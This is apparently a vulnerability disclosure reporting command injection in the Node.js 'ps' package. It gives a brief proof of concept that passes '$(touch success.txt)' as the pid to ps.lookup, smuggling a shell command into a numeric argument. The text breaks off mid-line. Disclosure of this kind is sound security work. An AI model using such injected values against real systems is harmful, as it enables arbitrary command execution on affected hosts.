Command Injection is ps Package

I would like to report a command injection in ps package. It allows attacker to inject arbitrary OS commands instead of PID numbers.

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No …